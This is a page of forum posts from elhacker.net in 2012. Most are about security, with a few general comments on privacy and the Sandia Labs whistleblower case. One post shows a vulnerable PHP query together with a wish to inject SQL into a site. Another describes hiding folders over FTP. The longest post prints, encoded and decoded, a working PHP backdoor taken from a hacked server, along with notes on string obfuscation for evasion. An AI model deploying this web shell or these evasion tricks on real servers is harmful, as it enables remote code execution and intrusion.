elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Mensajes
Páginas: 1 [2]
11  Foros Generales / Foro Libre / Re: [Importante!] Borra tu historial en Google en: 27 Febrero 2012, 17:45 pm
Si opino lo mismo, no es que sea anti google pero desde que vi que el jodido updater de cualquier aplicacion se instala y actualiza solo y todos los ***** logs etc... y mas encima esto! tengo la misma desconfianza que tuve con microsoft cuando instalaba el alexa como spyware despues de cualquier actualizacion de IE o WMP
12  Foros Generales / Foro Libre / Que opinan de este hackeo en: 27 Febrero 2012, 17:37 pm


On February 13, 2007 a New Mexico State Court found Sandia Corporation liable for $4.7 million in damages for the firing of a former network security analyst, Shawn Carpenter. Mr. Carpenter had reported to his supervisors that hundreds of military installations and defense contractors' networks were compromised and sensitive information was being stolen – including hundreds of sensitive Lockheed documents on the Mars Reconnaissance Orbiter project. When his supervisors told him to drop the investigation and do nothing with the information, he went to intelligence officials in the United States Army and later the Federal Bureau of Investigation to address the national security breaches. When Sandia managers discovered his actions months later, they revoked his security clearance and fired him.[2]

Esta empresa esta acargo de la ciencia y la tecnologia detras de las bombas atomicas y unos proyectos tetricos que dejan al haarp como un wifi casero xD, seria interesante ver esos documentos

Fuente: http://en.wikipedia.org/wiki/Sandia_National_Laboratories

13  Seguridad Informática / Bugs y Exploits / Re: Que tipos de SQL injection se pueden hacer en un servidor con safe mode on? en: 26 Febrero 2012, 22:13 pm
no, Cuales son las tecnicas de evasion de filtros?

estoy tratando de injectar codigo en un sitio que solo tiene safe mode on

Código
  1. $ID=$_GET['ID'];
  2. $query="SELECT * FROM tb1
  3. WHERE `ID`='".$ID."' LIMIT 1";
  4.  



14  Seguridad Informática / Bugs y Exploits / Que tipos de SQL injection se pueden hacer en un servidor con safe mode on? en: 25 Febrero 2012, 21:11 pm
Que tipos de SQL injection se pueden hacer en un servidor con safe mode on?

He estado buscando, leyendo y probando, pero no encuentro nada.

15  Seguridad Informática / Bugs y Exploits / Vulnerabilidad en R4ckSp4c3 en: 23 Febrero 2012, 20:39 pm
Solo una curiosidad que cl0ud fil3s o sites tienen esa vulnerabilidad de que se pueden crear carpetas por ftp solo con espacios

basicamente es el comando FTP "CWD ./ /" para crear las carpetas y "PWD ./ /" para entrar en ellas, generalemnte este tipo de carpeta quedan invisibles dentro del sistema y para la mayoria de clientes FTP (tambien se pueden acceder por web si el path lo permite solo poniendo espacios vacios o %20)

he ocupado la vulnerabilidad para darle mas seguridad a algunas aplicaciones.

Saludos!
16  Seguridad Informática / Hacking / Unicode, eval, php hack tool, sql injection? en: 23 Febrero 2012, 20:14 pm
Hola:

Hace poco hackieron un server que administro, no estoy seguro como obtuvieron los password de un usuario ftp del sistema (probablemente un gusano en el pc del usuario), y bueno me puse a investigar no fue gran cosa aun asi me intereso por que el codigo es en php y encontre raro que eval pudiese ejecutar una funcion escrita con codigo unicode.

Código
  1. <?php //38200e90f44c94cb0073484daa4de93a
  2. $_=
  3. //ppZiAAS8dDJF9Q*(#_+@#TWyJ
  4. 'Ci8qKgogKiBAdmVyc2lvbiAyLjUKICogCiAqLwppZiAoaXNzZXQoJF9QT1NUWyJhY3Rpb24iXSkpCnsKICAgICAgICBzd2l0Y2ggKCRfUE9TVFsiYWN0aW9uIl0pCiAgICAgICAgewogICAgICAgICAgICAgICAgY2FzZSAidGVzdCI6CiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QoKTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICJyZWd1bGFyX3Rlc3QiOgogICAgICAgICAgICAgICAgICAgICAgICByZWd1bGFyX3Rlc3QoKTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICJtYWlsIjoKICAgICAgICAgICAgICAgICAgICAgICAgc2VuZCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgICAgICByZXR1cm47Cn0KCmlmIChjb3VudCgkX0dFVCkgPiAwKQp7CiAgICAgICAgZm9yZWFjaCAoJF9HRVQgYXMgJGlkID0+ICRjb2RlKQogICAgICAgIHsKICAgICAgICAgICAgICAgIGlmICgkaWQgPT0gImlkIikKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGNvZGUoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuOwp9CgpmdW5jdGlvbiB0ZXN0KCkKewogICAgICAgICRlbmNvZGVkX2RhdGEgPSAiIjsKCiAgICAgICAgJGRhdGFbInZlcnNpb24iXSA9IHBocHZlcnNpb24oKTsKICAgICAgICBpZiAoaXNzZXQoJF9TRVJWRVJbIlNFUlZFUl9TT0ZUV0FSRSJdKSkKICAgICAgICB7CiAgICAgICAgICAgICAgICAkZGF0YVsic2VydmVyYXBpIl0gPSAkX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl07CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgICAgICAkZGF0YVsic2VydmVyYXBpIl0gPSAiTm90IEF2YWlsYWJsZSI7CiAgICAgICAgfQogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgcGhwaW5mbyg4KTsKICAgICAgICAkZGF0YVsibW9kdWxlcyJdID0gb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgICAgb2JfY2xlYW4oKTsKICAgICAgICAkZGF0YVsiZXh0X2Nvbm5lY3QiXSA9IGZvcGVuKCJodHRwOi8vd3d3LnlhLnJ1LyIsICJyIikgPyBUUlVFIDogRkFMU0U7CiAgICAgICAgJHNlcmlhbGl6ZXNfZGF0YSA9IHNlcmlhbGl6ZSgkZGF0YSk7CiAgICAgICAgJGVuY29kZWRfZGF0YSA9IGJhc2U2NF9lbmNvZGUoJHNlcmlhbGl6ZXNfZGF0YSk7CiAgICAgICAgZWNobyAkX1BPU1RbInRlc3RfbWVzc2FnZSJdIC4gJGVuY29kZWRfZGF0YTsKfQoKZnVuY3Rpb24gcmVndWxhcl90ZXN0KCkKewogICAgICAgIGVjaG8gJF9QT1NUWyJ0ZXN0X21lc3NhZ2UiXTsKfQoKZnVuY3Rpb24gc2VuZCgpCnsKICAgICAgICAkY29kZSA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJwcm9qZWN0Y29kZSJdKTsKICAgICAgCiAgICAgICAgZXZhbCgkY29kZSk7CiAgICAgICAgLy9yZXR1cm47Cn0K';
  5. //ppZiAAS8dDJF9Q*(#_+@#TWyJ
  6. $__ = "JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7";$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));
  7. ?>
  8.  

La primera sentencia del eval en estos casos deberia ser algun tipo ofuscacion compresion o hash, probe con base64_decode y al tercer paso pude ver el codigo

Código
  1. $code = base64_decode($_); eval($code);
  2.  
  3. /**
  4.  * @version 2.5
  5.  *
  6.  */
  7. if (isset($_POST["action"]))
  8. {
  9.        switch ($_POST["action"])
  10.        {
  11.                case "test":
  12.                        test();
  13.                        break;
  14.                case "regular_test":
  15.                        regular_test();
  16.                        break;
  17.                case "mail":
  18.                        send();
  19.                        break;
  20.                default:
  21.                        break;
  22.        }
  23.        return;
  24. }
  25.  
  26. if (count($_GET) > 0)
  27. {
  28.        foreach ($_GET as $id => $code)
  29.        {
  30.                if ($id == "id")
  31.                {
  32.                        $code();
  33.                }
  34.        }
  35.        return;
  36. }
  37.  
  38. function test()
  39. {
  40.        $encoded_data = "";
  41.  
  42.        $data["version"] = phpversion();
  43.        if (isset($_SERVER["SERVER_SOFTWARE"]))
  44.        {
  45.                $data["serverapi"] = $_SERVER["SERVER_SOFTWARE"];
  46.        }
  47.        else
  48.        {
  49.                $data["serverapi"] = "Not Available";
  50.        }
  51.        ob_start();
  52.        phpinfo(8);
  53.        $data["modules"] = ob_get_contents();
  54.        ob_clean();
  55.        $data["ext_connect"] = fopen("http://www.ya.ru/", "r") ? TRUE : FALSE;
  56.        $serializes_data = serialize($data);
  57.        $encoded_data = base64_encode($serializes_data);
  58.        echo $_POST["test_message"] . $encoded_data;
  59. }
  60.  
  61. function regular_test()
  62. {
  63.        echo $_POST["test_message"];
  64. }
  65.  
  66. function send()
  67. {
  68.        $code = base64_decode($_POST["projectcode"]);
  69.  
  70.        eval($code);
  71.        //return;
  72. }
  73.  
  74.  
  75.  

en cuestion esto es lo que me llama la atencion que base64_decode esta expresado como unicode
"\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"

ademas de que en php se puede escribir como BaSe64_DecoDE o cualquier combiancion de mayusculas y minusculas tambien se pueden cambiar por ejemplo el \x62 por \162 (no se como interpreta php o cual es la diferencia entre x y 1)

tambien que se pueden intercalar caracteres normales por ejemplo "\x62"."a"."\x73"
y tambien como en el caso del numero 4 que viene despues de \6 que solo sirve en el caso de los numeros.

con esta pequenia ofuscacion en unicode se me ocurren varias cosas que se podrian hacer ya que no es intuitivo para muchos, les comparto lo que investigue y tambien me gustaria saber mas de unicode para testear otros tipos sql injection.

Saludos!

Nota: el hack fue solo un relay the spam con troyanos adjuntos en algunos casos.
Páginas: 1 [2]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines